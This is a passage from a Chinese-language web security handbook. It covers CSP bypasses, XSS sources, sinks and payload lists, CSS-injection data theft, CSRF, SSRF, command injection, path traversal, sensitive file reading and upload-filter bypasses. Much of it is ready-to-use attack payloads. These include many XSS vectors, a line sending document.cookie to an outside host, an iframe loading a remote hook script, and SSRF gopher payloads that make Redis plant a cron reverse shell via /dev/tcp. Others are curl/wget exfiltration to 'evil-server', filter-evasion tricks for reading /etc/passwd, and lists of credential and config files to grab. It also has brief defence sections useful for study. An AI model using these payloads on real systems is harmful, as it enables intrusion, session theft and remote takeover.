  • https://cdn.com
    • e.g. img-src https://cdn.com
    • 只能从给定的域用https加载资源
  • https:
    • e.g. img-src https:
    • 只能从任意域用https加载资源
  • unsafe-inline
    • 允许内部资源执行代码例如style attribute,onclick或者是sicript标签
    • e.g. script-src 'unsafe-inline'
  • unsafe-eval
    • 允许一些不安全的代码执行方式,例如js的eval()
    • e.g. script-src 'unsafe-eval'
  • nonce-<base64-value>'
    • 使用随机的nonce,允许加载标签上nonce属性匹配的标签
    • e.g. script-src 'nonce-bm9uY2U='
  • <hash-algo>-<base64-value>'
    • 允许hash值匹配的代码块被执行
    • e.g. script-src 'script-src 'sha256-<base64-value>'

5. 配置范例

允许执行内联 JS 代码,但不允许加载外部资源

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';

4.2.5 Bypass

1. 预加载

浏览器为了增强用户体验,让浏览器更有效率,就有一个预加载的功能,大体是利用浏览器空闲时间去加载指定的内容,然后缓存起来。这个技术又细分为DNS-prefetch、subresource、prefetch、preconnect、prerender。

HTML5页面预加载是用link标签的rel属性来指定的。如果csp头有unsafe-inline,则用预加载的方式可以向外界发出请求,例如

<!-- 预加载某个页面 -->
<link rel='prefetch' href='http://xxxx'><!-- firefox -->
<link rel='prerender' href='http://xxxx'><!-- chrome -->
<!-- 预加载某个图片 -->
<link rel='prefetch' href='http://xxxx/x.jpg'>
<!-- DNS 预解析 -->
<link rel="dns-prefetch" href="http://xxxx">
<!-- 特定文件类型预加载 -->
<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->

另外,不是所有的页面都能够被预加载,当资源类型如下时,讲阻止预加载操作:

  • URL中包含下载资源
  • 页面中包含音频、视频
  • POST、PUT和DELET操作的ajax请求
  • HTTP认证
  • HTTPS页面
  • 含恶意软件的页面
  • 弹窗页面
  • 占用资源很多的页面
  • 打开了chrome developer tools开发工具

2. MIME Sniff

举例来说,csp禁止跨站读取脚本,但是可以跨站读img,那么传一个含有脚本的img,再<script href='http://xxx.com/xx.jpg'>,这里csp认为是一个img,绕过了检查,如果网站没有回正确的mime type,浏览器会进行猜测,就可能加载该img作为脚本

3. 302跳转

对于302跳转绕过CSP而言,实际上有以下几点限制:

  • 跳板必须在允许的域内
  • 要加载的文件的host部分必须跟允许的域的host部分一致

4. iframe

当可以执行代码时,可以创建一个源为 css js 等静态文件的frame,在配置不当时,该frame并不存在csp,则在该frame下再次创建frame,达到bypass的目的。同理,使用 ../../../ /%2e%2e%2f 等可能触发服务器报错的链接也可以到达相应的目的。

5. base-uri

当script-src为nonce或无限制,且base-uri无限制时,可通过 base 标签修改根URL来bypass,如下加载了http://evil.com/main.js

<base href="http://evil.com/">
<script nonce="correct value" src="/main.js"></script>

6. 其他

  • location 绕过

  • 可上传SVG时,通过恶意SVG绕过同源站点

  • 存在CRLF漏洞且可控点在CSP上方时,可以注入HTTP响应中影响CSP解析

  • CND Bypass,如果网站信任了某个CDN, 那么可利用相应CDN的静态资源bypass

  • Angular versions <1.5.9 >=1.5.0,存在漏洞 Git Pull Request

  • jQuery sourcemap

    document.write(`<script>
    //@        sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);``
    
  • a标签的ping属性

  • For FireFox

    <META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnSWhhdmVZb3VOb3cnKTs8L3NjcmlwdD4=">

  • <link rel="import" />

  • <meta http-equiv="refresh" content="0; url=http://...." />

  • 仅限制 script-src 时:

    • <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

4.2.6 XSS数据源

1. URL

  • location
  • location.href
  • location.pathname
  • location.search
  • location.hash
  • document.URL
  • document.documentURI
  • document.baseURI

2. Navigation

  • window.name
  • document.referrer

3. Communication

  • Ajax
  • Fetch
  • WebSocket
  • PostMessage

4. Storage

  • Cookie
  • LocalStorage
  • SessionStorage

5. Sink

1). 执行JavaScript
  • eval(payload)
  • setTimeout(payload, 100)
  • setInterval(payload, 100)
  • Function(payload)()
  • payload
  • <img src=x onerror=payload>
2). 加载URL
  • location=javascript:alert(/xss/)
  • location.href=javascript:alert(/xss/)
  • location.assign(javascript:alert(/xss/))
  • location.replace(javascript:alert(/xss/))
3). 执行HTML
  • xx.innerHTML=payload
  • xx.outerHTML=payload
  • document.write(payload)
  • document.writeln(payload)

4.2.7 XSS保护

1. HTML过滤

使用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果。例如DOMPurify等工具都是用该方式实现了XSS的保护。

2. X-Frame

X-Frame-Options 响应头有三个可选的值:

  • DENY

    页面不能被嵌入到任何iframe或frame中

  • SAMEORIGIN

    页面只能被本站页面嵌入到iframe或者frame中

  • ALLOW-FROM

    页面允许frame或frame加载

3. XSS保护头

基于 Webkit 内核的浏览器(比如Chrome)在特定版本范围内有一个名为XSS auditor的防护机制,如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中,那么这段呈现的恶意代码要么被删除,要么被转义,恶意代码不会被正常的渲染出来。

而浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置。

要设置浏览器的防护机制,则可使用X-XSS-Protection字段 该字段有三个可选的值

  • 0 : 表示关闭浏览器的XSS防护机制
  • 1 : 删除检测到的恶意代码, 如果响应报文中没有看到 X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置
  • 1; mode=block : 如果检测到恶意代码,在不渲染恶意代码

FireFox没有相关的保护机制,如果需要保护,可使用NoScript等相关插件。

4.2.8 WAF Bypass

  • 利用<>标记

  • 利用html属性

    • href
    • lowsrc
    • bgsound
    • background
    • value
    • action
    • dynsrc
  • 关键字

    • 利用回车拆分
    • 字符串拼接
      • window["al" + "ert"]
  • 利用编码绕过

    • base64

    • jsfuck

    • String.fromCharCode

    • HTML

    • URL

    • hex

      • window["\x61\x6c\x65\x72\x74"]
    • unicode

    • utf7

      • +ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-
    • utf16

  • 大小写混淆

  • 对标签属性值转码

  • 产生事件

  • css跨站解析

  • 长度限制bypass

    • eval(name)
    • eval(hash)
    • import
    • $.getScript
    • $.get
  • .

    • 使用 . 绕过IP/域名
    • document['cookie'] 绕过属性取值
  • 过滤引号用 ` 绕过

4.2.9 技巧

1. httponly

  • 在cookie为httponly的情况下,可以通过xss直接在源站完成操作,不直接获取cookie。
  • 在有登录操作的情况下,部分站点直接发送登录请求可能会带有cookie
  • 部分特定版本的浏览器可能会在httponly支持/处理上存在问题
  • 低版本浏览器支持 TRACE / TRACK,可获取敏感的header字段
  • phpinfo 等页面可能会回显信息,这些信息中包含http头
  • 通过xss劫持页面钓鱼
  • 通过xss伪造oauth等授权请求,远程登录

2. CSS 注入

1). 基本介绍

CSS注入最早开始于利用CSS中的 expression() url() regex() 等函数或特性来引入外部的恶意代码,但是随着浏览器的发展,这种方式被逐渐禁用,与此同时,出现了一些新的攻击方式。

2). CSS selectors
<style>#form2 input[value^='a'] { background-image: url(http://localhost/log.php/a); }#form2 input[value^='b'] { background-image: url(http://localhost/log.php/b); }#form2 input[value^='c'] { background-image: url(http://localhost/log.php/c); }[...]</style>
<form action="http://example.com" id="form2"><input type="text" id="secret" name="secret" value="abc">
</form>

上图是利用CSS selectors完成攻击的一个示例

3). Abusing Unicode Range

当可以插入CSS的时候,可以使用 font-face 配合 unicode-range 获取目标网页对应字符集。PoC如下

<style>@font-face{font-family:poc;src: url(http://attacker.example.com/?A); /* fetched */unicode-range:U+0041;
}
@font-face{font-family:poc;src: url(http://attacker.example.com/?B); /* fetched too */unicode-range:U+0042;
}
@font-face{font-family:poc;src: url(http://attacker.example.com/?C); /* not fetched */unicode-range:U+0043;
}
#sensitive-information{font-family:poc;
}</style>
<p id="sensitive-information">AB</p>

当字符较多时,则可以结合 ::first-line 等CSS属性缩小范围,以获取更精确的内容

3. Bypass Via Script Gadgets

1). 简介

一些网站会使用白名单或者一些基于DOM的防御方式,对这些方式,有一种被称为 Code Reuse 的攻击方式可以绕过。该方式和二进制攻防中的Gadget相似,使用目标中的合法代码来达到绕过防御措施的目的。在论文 Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets 中有该方法的具体描述。

portswigger的一篇博文也表达了类似的想法 https://portswigger.net/blog/abusing-javascript-frameworks-to-bypass-xss-mitigations

下面有一个简单的例子,这个例子使用了 DOMPurify 来加固,但是因为引入了 jquery.mobile.js 导致可以被攻击。

2). 例子
// index.php
<?php$msg = $_GET['message'];
$msg = str_replace("\n", "", $msg);
$msg = base64_encode($msg);?><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Preview</title><script type="text/javascript" src="purify.js"></script><script type="text/javascript" src="jquery.js"></script><script type="text/javascript" src="jquery.mobile.js"></script>
</head>
<body><script type="text/javascript">var d= atob('<?php echo $msg; ?>');var cleanvar = DOMPurify.sanitize(d);document.write(cleanvar);</script></body>
</html>
// payload
<div data-role=popup id='-->
&lt;script&gt;alert(1)&lt;/script&gt;'>
</div>

4. RPO(Relative Path Overwrite)

RPO(Relative Path Overwrite) 攻击又称为相对路径覆盖攻击,依赖于浏览器和网络服务器的反应,利用服务器的 Web 缓存技术和配置差异。

4.2.10 Payload

1. 常用

<script>alert(/xss/)</script>
<svg onload=alert(document.domain)>
<img src=document.domain onerror=alert(document.domain)>
<M onmouseover=alert(document.domain)>M
<marquee onscroll=alert(document.domain)>
<a href=javascript:alert(document.domain)>M</a>
<body onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<embed src=javascript:alert(document.domain)>

2. 大小写绕过

<script>alert(1)</script>
<sCrIpT>alert(1)</sCrIpT>
<ScRiPt>alert(1)</ScRiPt>
<sCrIpT>alert(1)</ScRiPt>
<ScRiPt>alert(1)</sCrIpT>
<img src=1 onerror=alert(1)>
<iMg src=1 oNeRrOr=alert(1)>
<ImG src=1 OnErRoR=alert(1)>
<img src=1 onerror="alert(&quot;M&quot;)">
<marquee onscroll=alert(1)>
<mArQuEe OnScRoLl=alert(1)>
<MaRqUeE oNsCrOlL=alert(1)>

3. 各种alert

各种alert

<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>alert('1')</script>
<script>alert("1")</script>
<script>alert`1`</script>
<script>(alert)(1)</script>
<script>a=alert,a(1)</script>
<script>[1].find(alert)</script>
<script>top["al"+"ert"](1)</script>
<script>top["a"+"l"+"e"+"r"+"t"](1)</script>
<script>top[/al/.source+/ert/.source](1)</script>
<script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>

4. 伪协议

<a href=javascript:/0/,alert(%22M%22)>M</a>
<a href=javascript:/00/,alert(%22M%22)>M</a>
<a href=javascript:/000/,alert(%22M%22)>M</a>
<a href=javascript:/M/,alert(%22M%22)>M</a>

5. Chrome XSS auditor bypass

?param=https://&param=@z.exeye.io/import%20rel=import%3E
<base href=javascript:/M/><a href=,alert(1)>M</a>
<base href=javascript:/M/><iframe src=,alert(1)></iframe>

6. 长度限制

<script>s+="l"</script>
\...
<script>eval(s)</script>

7. jquery sourceMappingURL

</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>

8. 图片名

"><img src=x onerror=alert(document.cookie)>.gif

9. 过期的payload

  • src=javascript:alert基本不可以用
  • css expression特性只在旧版本ie可用

10. css

<divstyle="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

11. markdown

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
![a'"`οnerrοr=prompt(document.cookie)](x)
[notmalicious](javascript:window.οnerrοr=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

12. iframe

<iframe onload='var sc   = document.createElement("scr" + "ipt");sc.type  = "text/javascr" + "ipt";sc.src   = "http://1.2.3.4/js/hook.js";document.body.appendChild(sc);'
/>
<iframe src=javascript:alert(1)></iframe>
<iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
<iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
<iframe srcdoc=<svg/o&#x6E;load&equals;alert&lpar;1)&gt;></iframe>
<iframe src=https://baidu.com width=1366 height=768></iframe>
<iframe src=javascript:alert(1) width=1366 height=768></iframe

13. form

<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>M
<form><input formaction=javascript:alert(1) type=submit value=M>
<form><input formaction=javascript:alert(1) type=image value=M>
<form><input formaction=javascript:alert(1) type=image src=1>

14. meta

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

4.2.11 持久化

1. 基于存储

有时候网站会将信息存储在Cookie或localStorage,而因为这些数据一般是网站主动存储的,很多时候没有对Cookie或localStorage中取出的数据做过滤,会直接将其取出并展示在页面中,甚至存了JSON格式的数据时,部分站点存在 eval(data) 之类的调用。因此当有一个XSS时,可以把payload写入其中,在对应条件下触发。

在一些条件下,这种利用方式可能因为一些特殊字符造成问题,可以使用 String.fromCharCode 来绕过。

2. Service Worker

Service Worker可以拦截http请求,起到类似本地代理的作用,故可以使用Service Worker Hook一些请求,在请求中返回攻击代码,以实现持久化攻击的目的。

在Chrome中,可通过 chrome://inspect/#service-workers 来查看Service Worker的状态,并进行停止。

3. AppCache

在可控的网络环境下(公共wifi),可以使用AppCache机制,来强制存储一些Payload,未清除的情况下,用户访问站点时对应的payload会一直存在。

4.2.12 参考链接

wiki

  • AwesomeXSS
  • w3c
  • dom xss wiki
  • content-security-policy.com
  • markdwon xss
  • xss cheat sheet
  • html5 security cheatsheet
  • http security headers
  • XSSChallengeWiki

Challenges

  • XSS Challenge By Google
  • prompt to win

CSS

  • rpo
  • rpo攻击初探
  • Reading Data via CSS
  • css based attack abusing unicode range
  • css injection
  • css timing attack

同源策略

  • Same origin policy
  • cors security guide
  • logically bypassing browser security boundaries

bypass

  • 666 lines of xss payload
  • xss auditor bypass
  • xss auditor bypass writeup
  • bypassing csp using polyglot jpegs
  • bypass xss filters using javascript global variables

持久化

  • 变种XSS 持久控制 by tig3r
  • Using Appcache and ServiceWorker for Evil

Tricks

  • Service Worker 安全探索
  • 前端黑魔法

4.3 CSRF

4.3.1 简介

跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或者 Session Riding ,通常缩写为CSRF,是一种对网站的恶意利用。尽管听起来像XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站

4.3.2 分类

1. 资源包含

资源包含是在大多数介绍CSRF概念的演示或基础课程中可能看到的类型。这种类型归结为控制HTML标签(例如<image><audio><video><object><script>等)所包含的资源的攻击者。如果攻击者能够影响URL被加载的话,包含远程资源的任何标签都可以完成攻击。

由于缺少对Cookie的源点检查,如上所述,此攻击不需要XSS,可以由任何攻击者控制的站点或站点本身执行。此类型仅限于GET请求,因为这些是浏览器对资源URL唯一的请求类型。这种类型的主要限制是它需要错误地使用安全的HTTP请求方式。

2. 基于表单

通常在正确使用安全的请求方式时看到。攻击者创建一个想要受害者提交的表单; 其包含一个JavaScript片段,强制受害者的浏览器提交。

该表单可以完全由隐藏的元素组成,以致受害者很难发现它。

如果处理cookies不当,攻击者可以在任何站点上发动攻击,只要受害者使用有效的cookie登录,攻击就会成功。如果请求是有目的性的,成功的攻击将使受害者回到他们平时正常的页面。该方法对于攻击者可以将受害者指向特定页面的网络钓鱼攻击特别有效。

3. XMLHttpRequest

XMLHttpRequest可能是最少看到的方式,由于许多现代Web应用程序依赖XHR,许多应用花费大量的时间来构建和实现这一特定的对策。

基于XHR的CSRF通常由于SOP而以XSS有效载荷的形式出现。没有跨域资源共享策略 (Cross-Origin Resource Sharing, CORS),XHR仅限于攻击者托管自己的有效载荷的原始请求。

这种类型的CSRF的攻击有效载荷基本上是一个标准的XHR,攻击者已经找到了一些注入受害者浏览器DOM的方式。

4.3.3 防御

  • 通过CSRF-token或者验证码来检测用户提交
  • 验证 Referer/Content-Type
  • 对于用户修改删除等操作最好都使用POST操作
  • 避免全站通用的Cookie,严格设置Cookie的域

4.3.4 参考链接

  • demo
  • Wiping Out CSRF
  • Neat tricks to bypass CSRF protection

4.4 SSRF

4.4.1 简介

服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统

4.4.2 漏洞危害

SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件

内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。

4.4.3 利用方式

SSRF利用存在多种形式以及不同的场景,针对不同场景可以使用不同的利用和绕过方式。

以curl为例, 可以使用dict协议操作Redis、file协议读文件、gopher协议反弹Shell等功能,常见的Payload如下:

curl -vvv 'dict://127.0.0.1:6379/info'curl -vvv 'file:///etc/passwd'# * 注意: 链接使用单引号,避免$变量问题curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

4.4.4 相关危险函数

SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以PHP为例,涉及到的函数有 file_get_contents() / fsockopen() / curl_exec() 等。

4.4.5 过滤绕过

1. 更改IP地址写法

一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:

  • ^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
  • ^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
  • ^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:

  • 8进制格式:0300.0250.0.1
  • 16进制格式:0xC0.0xA8.0.1
  • 10进制整数格式:3232235521
  • 16进制整数格式:0xC0A80001
  • 合并后两位:1.1.278 / 1.1.755
  • 合并后三位:1.278 / 1.755 / 3.14159267

另外IP中的每一位,各个进制可以混用。

访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。

另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。

2. 使用解析到内网的域名

如果服务端没有先解析IP再过滤内网地址,我们就可以使用localhost等解析到内网的域名。

另外 xip.io 提供了一个方便的服务,这个网站的子域名会解析到对应的IP,例如192.168.0.1.xip.io,解析到192.168.0.1。

3. 利用解析URL所出现的问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

比如 http://www.baidu.com@192.168.0.1/ 当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。

4. 利用跳转

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。

可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服务跳转,但是由于URL中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过。

常用的跳转有302跳转和307跳转,区别在于307跳转会转发POST请求中的数据等,但是302跳转不会。

5. 通过各种非HTTP协议

如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。

比如通过gopher,可以在一个url参数中构造POST或者GET请求,从而达到攻击内网应用的目的。例如可以使用gopher协议对与内网的Redis服务进行攻击,可以使用如下的URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

除了gopher协议,File协议也是SSRF中常用的协议,该协议主要用于访问本地计算机中的文件,我们可以通过类似 file:///path/to/file 这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过 file:///d:/1.txt 来访问D盘中1.txt的内容。

6. DNS Rebinding

一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

  • 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  • 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
  • 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
  • 由于已经绕过验证,所以服务器端返回访问内网资源的结果。

7. 利用IPv6

有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::] 0000::1 或IPv6的内网域名来绕过过滤。

8. 利用IDN

一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。

在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜexample.com 等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符绕过内网限制。

4.4.6 可能的利用点

1. 内网服务

  • Apache Hadoop远程命令执行
  • axis2-admin部署Server命令执行
  • Confluence SSRF
  • counchdb WEB API远程命令执行
  • dict
  • docker API远程命令执行
  • Elasticsearch引擎Groovy脚本命令执行
  • ftp / ftps(FTP爆破)
  • glassfish任意文件读取和war文件部署间接命令执行
  • gopher
  • HFS远程命令执行
  • http、https
  • imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
  • Java调试接口命令执行
  • JBOSS远程Invoker war命令执行
  • Jenkins Scripts接口命令执行
  • ldap
  • mongodb
  • php_fpm/fastcgi 命令执行
  • rtsp - smb/smbs(连接SMB)
  • sftp
  • ShellShock 命令执行
  • Struts2 命令执行
  • telnet
  • tftp(UDP协议扩展)
  • tomcat命令执行
  • WebDav PUT上传任意文件
  • WebSphere Admin可部署war间接命令执行
  • zentoPMS远程命令执行

2. Redis利用

  • 写ssh公钥
  • 写crontab
  • 写WebShell
  • Windows写启动项
  • 主从复制加载 .so 文件
  • 主从复制写无损文件

3. 云主机

在AWS、Google等云环境下,通过访问云环境的元数据API或管理API,在部分情况下可以实现敏感信息等效果。

4.4.7 防御方式

  • 过滤返回的信息
  • 统一错误信息
  • 限制请求的端口
  • 禁止不常用的协议
  • 对DNS Rebinding,考虑使用DNS缓存或者Host白名单

4.4.8 参考链接

  • SSRF漏洞分析与利用
  • A New Era Of SSRF
  • php ssrf technique
  • 谈一谈如何在Python开发中拒绝SSRF漏洞
  • SSRF Tips
  • SSRF in PHP

4.5 命令注入

4.5.1 简介

命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞

该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。

4.5.2 常见危险函数

1. PHP

  • system
  • exec
  • passthru
  • shell_exec
  • popen
  • proc_open

2. Python

  • system
  • popen
  • subprocess.call
  • spawn

3. Java

  • java.lang.Runtime.getRuntime().exec(command)

4.5.3 常见注入方式

  • 分号分割
  • || && & 分割
  • | 管道符
  • \r\n %d0%a0 换行
  • 反引号解析
  • $() 替换

无回显技巧

  • bash反弹shell
  • DNS带外数据
  • http带外
    • curl http://evil-server/$(whoami)
    • wget http://evil-server/$(whoami)
  • 无带外时利用 sleep 或其他逻辑构造布尔条件

4.5.4 常见绕过方式

1. 空格绕过

  • < 符号 cat<123
  • \t / %09
  • ${IFS} 其中{}用来截断,比如cat$IFS2会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串

2. 黑名单绕过

  • a=l;b=s;$a$b
  • base64 echo "bHM=" | base64 -d
  • /?in/?s => /bin/ls
  • 连接符 cat /etc/pass'w'd
  • 未定义的初始化变量 cat$x /etc/passwd

3. 长度限制绕过

>wget\
>foo.\
>com
ls -t>a
sh a

上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行 直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令 这里可以使用一些诸如w,[之类的短命令,(使用ls /usr/bin/?查看) 如果不添加命令,需要Ctrl+D才能结束,这样就等于标准输入流的重定向 而在php中 , 使用 shell_exec 等执行系统命令的函数的时候 , 是不存在标准输入流的,所以可以直接创建文件

4.5.5 常用符号

1. 命令分隔符

  • %0a / %0d / \n / \r
  • ;
  • & / &&

2. 通配符

  • * 0到无穷个任意字符
  • ? 一个任意字符
  • [ ] 一个在括号内的字符,e.g. [abcd]
  • [ - ] 在编码顺序内的所有字符
  • [^ ] 一个不在括号内的字符

4.5.6 防御

  • 不使用时禁用相应函数
  • 尽量不要执行外部的应用程序或命令
  • 做输入的格式检查
  • 转义命令中的所有shell元字符
    • shell元字符包括 #&;,|*?~<>^()[]{}$`

4.6 目录穿越

4.6.1 简介

目录穿越(也被称为目录遍历/directory traversal/path traversal)是通过使用 ../ 等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等

4.6.2 攻击载荷

1. URL参数

  • ../
  • ..\
  • ..;/

2. Nginx Off by Slash

  • https://vuln.site.com/files../

3. UNC Bypass

  • \\localhost\c$\windows\win.ini

4.6.3 过滤绕过

  • 单次替换

    • ...//
  • URL编码
  • 16位Unicode编码
    • \u002e
  • 超长UTF-8编码
    • \%e0%40%ae

4.6.4 防御

在进行文件操作相关的API前,应该对用户输入做过滤。较强的规则下可以使用白名单,仅允许纯字母或数字字符等。

若规则允许的字符较多,最好使用当前操作系统路径规范化函数规范化路径后,进行过滤,最后再进行相关调用。

4.6.5 参考链接

  • Directory traversal by portswigger
  • Path Traversal by OWASP
  • path normalization
  • Breaking Parser Logic: Take Your Path Normalization Off and Pop 0days Out defcon

4.7 文件读取

考虑读取可能有敏感信息的文件

  • 用户目录下的敏感文件

    • .bash_history .zsh_history .profile .bashrc .gitconfig .viminfo passwd
  • 应用的配置文件

    • /etc/apache2/apache2.conf /etc/nginx/nginx.conf
  • 应用的日志文件

    • /var/log/apache2/access.log /var/log/nginx/access.log
  • 站点目录下的敏感文件

    • .svn/entries .git/HEAD WEB-INF/web.xml .htaccess
  • 特殊的备份文件

    • .swp .swo .bak index.php~

  • Python的Cache

    • __pycache__\__init__.cpython-35.pyc

4.8 文件上传

4.8.1 文件类型检测绕过

1. 更改请求绕过

有的站点仅仅在前端检测了文件类型,这种类型的检测可以直接修改网络请求绕过。 同样的,有的站点在后端仅检查了HTTP Header中的信息,比如 Content-Type 等,这种检查同样可以通过修改网络请求绕过。

2. Magic 检测绕过

有的站点使用文件头来检测文件类型,这种检查可以在Shell前加入对应的字节以绕过检查。几种常见的文件类型的头字节如下表所示

类型 二进制值
JPG FF D8 FF E0 00 10 4A 46 49 46
GIF 47 49 46 38 39 61
PNG 89 50 4E 47
TIF 49 49 2A 00
BMP 42 4D

3. 后缀绕过

部分服务仅根据后缀、上传时的信息或Magic Header来判断文件类型,此时可以绕过。

php由于历史原因,部分解释器可能支持符合正则 /ph(p[2-7]?|t(ml)?)/ 的后缀,如 php / php5 / pht / phtml / shtml / pwml / phtm 等 可在禁止上传php文件时测试该类型。

jsp引擎则可能会解析 jspx / jspf / jspa / jsw / jsv / jtml 等后缀,asp支持 asa / asax / cer / cdx / aspx / ascx / ashx / asmx / asp{80-90} 等后缀。

